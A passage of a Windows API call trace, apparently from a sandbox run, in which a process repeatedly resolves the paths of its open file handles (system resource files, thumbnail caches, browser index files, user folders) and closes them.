lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0127.811] CloseHandle (hObject=0x128) returned 1 [0127.812] GetFileType (hFile=0xb8) returned 0x1 [0127.812] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0127.812] CloseHandle (hObject=0xb8) returned 1 [0127.813] GetFileType (hFile=0x128) returned 0x1 [0127.813] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\Fonts\\StaticCache.dat") returned 0x24 [0127.814] CloseHandle (hObject=0x128) returned 1 [0127.814] GetFileType (hFile=0xb8) returned 0x1 [0127.814] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.c..-controls.resources_6595b64144ccf1df_6.0.7600.16385_en-us_106f9be843a9b4e3") returned 0x7b [0127.814] CloseHandle (hObject=0xb8) returned 1 [0127.815] GetFileType (hFile=0x128) returned 0x1 [0127.815] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.c..-controls.resources_6595b64144ccf1df_6.0.7600.16385_en-us_106f9be843a9b4e3\\comctl32.dll.mui") returned 0x8c [0127.815] CloseHandle (hObject=0x128) returned 1 [0127.816] GetFileType (hFile=0xb8) returned 0x1 [0127.816] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0127.816] CloseHandle (hObject=0xb8) returned 1 [0127.817] GetFileType (hFile=0x128) returned 0x1 [0127.817] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0127.817] CloseHandle (hObject=0x128) returned 1 [0127.818] GetFileType (hFile=0xb8) returned 0x1 [0127.818] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0127.818] CloseHandle (hObject=0xb8) returned 1 [0127.818] GetFileType (hFile=0x128) returned 0x1 [0127.819] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_96.db") returned 0x5b [0127.820] CloseHandle (hObject=0x128) returned 1 [0127.820] GetFileType (hFile=0xb8) returned 0x1 [0127.820] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned") returned 0x66 [0127.821] CloseHandle (hObject=0xb8) returned 1 [0127.821] GetFileType (hFile=0x128) returned 0x1 [0127.822] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0127.822] CloseHandle (hObject=0x128) returned 1 [0127.823] GetFileType (hFile=0xb8) returned 0x1 [0127.823] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Libraries") returned 0x4d [0127.824] CloseHandle (hObject=0xb8) returned 1 [0127.824] GetFileType (hFile=0x128) returned 0x1 [0127.824] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Libraries") returned 0x4d [0127.825] CloseHandle (hObject=0x128) returned 1 [0127.825] GetFileType (hFile=0xb8) returned 0x1 [0127.825] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned") returned 0x66 [0127.826] CloseHandle (hObject=0xb8) returned 1 [0127.826] GetFileType (hFile=0x128) returned 0x1 [0127.826] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\IETldCache\\index.dat") returned 0x58 [0127.828] CloseHandle (hObject=0x128) returned 1 [0127.828] GetFileType (hFile=0xb8) returned 0x1 [0127.828] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu") returned 0x2f [0127.829] CloseHandle (hObject=0xb8) returned 1 [0127.829] GetFileType (hFile=0x128) returned 0x1 [0127.829] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu") returned 0x2f [0127.829] CloseHandle (hObject=0x128) returned 1 [0127.830] GetFileType (hFile=0xb8) returned 0x1 [0127.830] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu") returned 0x4e [0127.831] CloseHandle (hObject=0xb8) returned 1 [0127.831] GetFileType (hFile=0x128) returned 0x1 [0127.831] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu") returned 0x4e [0127.832] CloseHandle (hObject=0x128) returned 1 [0127.832] GetFileType (hFile=0xb8) returned 0x1 [0127.832] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x29 [0127.833] CloseHandle (hObject=0xb8) returned 1 [0127.833] GetFileType (hFile=0x128) returned 0x1 [0127.833] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x29 [0127.834] CloseHandle (hObject=0x128) returned 1 [0127.834] GetFileType (hFile=0xb8) returned 0x1 [0127.834] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\Public\\Desktop") returned 0x1b [0127.835] CloseHandle (hObject=0xb8) returned 1 [0127.835] GetFileType (hFile=0x128) returned 0x1 [0127.835] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\Public\\Desktop") returned 0x1b [0127.836] CloseHandle (hObject=0x128) returned 1 [0127.836] GetFileType (hFile=0xb8) returned 0x1 [0127.836] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Burn") returned 0x46 [0127.837] CloseHandle (hObject=0xb8) returned 1 [0127.838] GetFileType (hFile=0x128) returned 0x1 [0127.838] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Burn") returned 0x46 [0127.839] CloseHandle (hObject=0x128) returned 1 [0127.839] GetFileType (hFile=0xb8) returned 0x1 [0127.839] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_32.db") returned 0x5b [0127.841] CloseHandle (hObject=0xb8) returned 1 [0127.841] GetFileType (hFile=0x128) returned 0x1 [0127.841] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_idx.db") returned 0x5c [0127.842] CloseHandle (hObject=0x128) returned 1 [0127.842] GetFileType (hFile=0xb8) returned 0x1 [0127.842] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\index.dat") returned 0x70 [0127.844] CloseHandle (hObject=0xb8) returned 1 [0127.844] GetFileType (hFile=0x128) returned 0x1 [0127.844] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_sr.db") returned 0x5b [0127.845] CloseHandle (hObject=0x128) returned 1 [0127.845] GetFileType (hFile=0xb8) returned 0x1 [0127.846] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_96.db") returned 0x5b [0127.847] CloseHandle (hObject=0xb8) returned 1 [0127.847] GetFileType (hFile=0x128) returned 0x1 [0127.847] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_96.db") returned 0x5b [0127.848] CloseHandle (hObject=0x128) returned 1 [0127.848] GetFileType (hFile=0xb8) returned 0x1 [0127.848] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_256.db") returned 0x5c [0127.849] CloseHandle (hObject=0xb8) returned 1 [0127.850] GetFileType (hFile=0x128) returned 0x1 [0127.850] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_1024.db") returned 0x5d [0127.851] CloseHandle (hObject=0x128) returned 1 [0127.851] GetFileType (hFile=0xb8) returned 0x1 [0127.851] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_1024.db") returned 0x5d [0127.852] CloseHandle (hObject=0xb8) returned 1 [0127.852] GetFileType (hFile=0x128) returned 0x1 [0127.852] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_256.db") returned 0x5c [0127.854] CloseHandle (hObject=0x128) returned 1 [0127.854] GetFileType (hFile=0xb8) returned 0x1 [0127.854] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_sr.db") returned 0x5b [0127.855] CloseHandle (hObject=0xb8) returned 1 [0127.855] GetFileType (hFile=0x128) returned 0x1 [0127.855] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\index.dat") returned 0x55 [0127.857] CloseHandle (hObject=0x128) returned 1 [0127.857] GetFileType (hFile=0xb8) returned 0x1 [0127.857] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\index.dat") returned 0x5f [0127.859] CloseHandle (hObject=0xb8) returned 1 [0127.859] GetFileType (hFile=0x128) returned 0x1 [0127.859] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\System32\\en-US\\wdmaud.drv.mui") returned 0x2c [0127.884] CloseHandle (hObject=0x128) returned 1 [0127.885] GetFileType (hFile=0xb8) returned 0x1 [0127.885] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\System32\\en-US\\MMDevAPI.dll.mui") returned 0x2e [0127.887] CloseHandle (hObject=0xb8) returned 1 [0127.887] GetFileType (hFile=0x128) returned 0x1 [0127.887] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\System32\\en-US\\bthprops.cpl.mui") returned 0x2e [0127.890] CloseHandle (hObject=0x128) returned 1 [0127.890] GetFileType (hFile=0xb8) returned 0x1 [0127.890] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0127.891] CloseHandle (hObject=0xb8) returned 1 [0127.891] GetFileType (hFile=0x128) returned 0x1 [0127.891] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0127.892] CloseHandle (hObject=0x128) returned 1 [0127.892] GetFileType (hFile=0xb8) returned 0x1 [0127.892] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\System32\\en-US\\msutb.dll.mui") returned 0x2b [0127.896] CloseHandle (hObject=0xb8) returned 1 [0127.896] GetFileType (hFile=0x128) returned 0x1 [0127.896] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\System32\\en-US\\msctf.dll.mui") returned 0x2b [0127.897] CloseHandle (hObject=0x128) returned 1 [0127.898] GetFileType (hFile=0xb8) returned 0x1 [0127.898] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_32.db") returned 0x5b [0127.899] CloseHandle (hObject=0xb8) returned 1 [0127.899] GetFileType (hFile=0x128) returned 0x1 [0127.899] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_idx.db") returned 0x5c [0127.901] CloseHandle (hObject=0x128) returned 1 [0127.901] GetFileType (hFile=0xb8) returned 0x1 [0127.901] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_32.db") returned 0x5b [0127.902] CloseHandle (hObject=0xb8) returned 1 [0127.902] GetFileType (hFile=0x128) returned 0x1 [0127.902] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0127.903] CloseHandle (hObject=0x128) returned 1 [0127.903] GetFileType (hFile=0xb8) returned 0x1 [0127.903] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_32.db") returned 0x5b [0127.904] CloseHandle (hObject=0xb8) returned 1 [0127.904] GetFileType (hFile=0x128) returned 0x1 [0127.904] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_idx.db") returned 0x5c [0127.906] CloseHandle (hObject=0x128) returned 1 [0127.906] GetFileType (hFile=0xb8) returned 0x1 [0127.906] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_96.db") returned 0x5b [0127.907] CloseHandle (hObject=0xb8) returned 1 [0127.907] GetFileType (hFile=0x128) returned 0x1 [0127.907] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_idx.db") returned 0x5c [0127.908] CloseHandle (hObject=0x128) returned 1 [0127.909] GetFileType (hFile=0xb8) returned 0x1 [0127.909] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_256.db") returned 0x5c [0127.910] CloseHandle (hObject=0xb8) returned 1 [0127.910] GetFileType (hFile=0x128) returned 0x1 [0127.910] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_1024.db") returned 0x5d [0127.911] CloseHandle (hObject=0x128) returned 1 [0127.911] GetFileType (hFile=0xb8) returned 0x1 [0127.911] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_sr.db") returned 0x5b [0127.913] CloseHandle (hObject=0xb8) returned 1 [0127.913] GetFileType (hFile=0x128) returned 0x0 [0127.913] CloseHandle (hObject=0x128) returned 1 [0127.913] GetFileType (hFile=0xb8) returned 0x1 [0127.913] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0127.914] CloseHandle (hObject=0xb8) returned 1 [0127.914] GetFileType (hFile=0x128) returned 0x1 [0127.914] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Printer Shortcuts") returned 0x55 [0127.915] CloseHandle (hObject=0x128) returned 1 [0127.915] GetFileType (hFile=0xb8) returned 0x1 [0127.915] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Printer Shortcuts") returned 0x55 [0127.917] CloseHandle (hObject=0xb8) returned 1 [0127.917] GetFileType (hFile=0x128) returned 0x1 [0127.917] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0127.917] CloseHandle (hObject=0x128) returned 1 [0127.918] GetFileType (hFile=0xb8) returned 0x1 [0127.918] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\System32\\en-US\\netshell.dll.mui") returned 0x2e [0127.923] CloseHandle (hObject=0xb8) returned 1 [0127.923] GetFileType (hFile=0x128) returned 0x0 [0127.923] CloseHandle (hObject=0x128) returned 1 [0127.923] GetFileType (hFile=0xb8) returned 0x1 [0127.923] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_1024.db") returned 0x5d [0127.924] CloseHandle (hObject=0xb8) returned 1 [0127.925] GetFileType (hFile=0x128) returned 0x1 [0127.925] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_32.db") returned 0x5b [0127.926] CloseHandle (hObject=0x128) returned 1 [0127.926] GetFileType (hFile=0xb8) returned 0x1 [0127.926] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\System32\\en-US\\KernelBase.dll.mui") returned 0x30 [0127.927] CloseHandle (hObject=0xb8) returned 1 [0127.927] GetFileType (hFile=0x128) returned 0x1 [0127.927] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0127.927] CloseHandle (hObject=0x128) returned 1 [0127.927] GetFileType (hFile=0xb8) returned 0x1 [0127.928] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0127.928] CloseHandle (hObject=0xb8) returned 1 [0127.928] GetFileType (hFile=0x128) returned 0x1 [0127.928] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0127.929] CloseHandle (hObject=0x128) returned 1 [0127.929] GetFileType (hFile=0xb8) returned 0x1 [0127.929] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0127.930] CloseHandle (hObject=0xb8) returned 1 [0127.930] GetFileType (hFile=0x128) returned 0x1 [0127.930] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0127.931] CloseHandle (hObject=0x128) returned 1 [0127.931] GetFileType (hFile=0xb8) returned 0x1 [0127.931] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\FXSAPIDebugLogFile.txt") returned 0x4b [0127.932] CloseHandle (hObject=0xb8) returned 1 [0127.933] GetFileType (hFile=0x128) returned 0x1 [0127.933] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0127.933] CloseHandle (hObject=0x128) returned 1 [0127.933] GetFileType (hFile=0xb8) returned 0x1 [0127.934] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_256.db") returned 0x5c [0127.935] CloseHandle (hObject=0xb8) returned 1 [0127.935] GetFileType (hFile=0x128) returned 0x1 [0127.935] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_sr.db") returned 0x5b [0127.936] CloseHandle (hObject=0x128) returned 1 [0127.936] GetFileType (hFile=0xb8) returned 0x1 [0127.936] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS 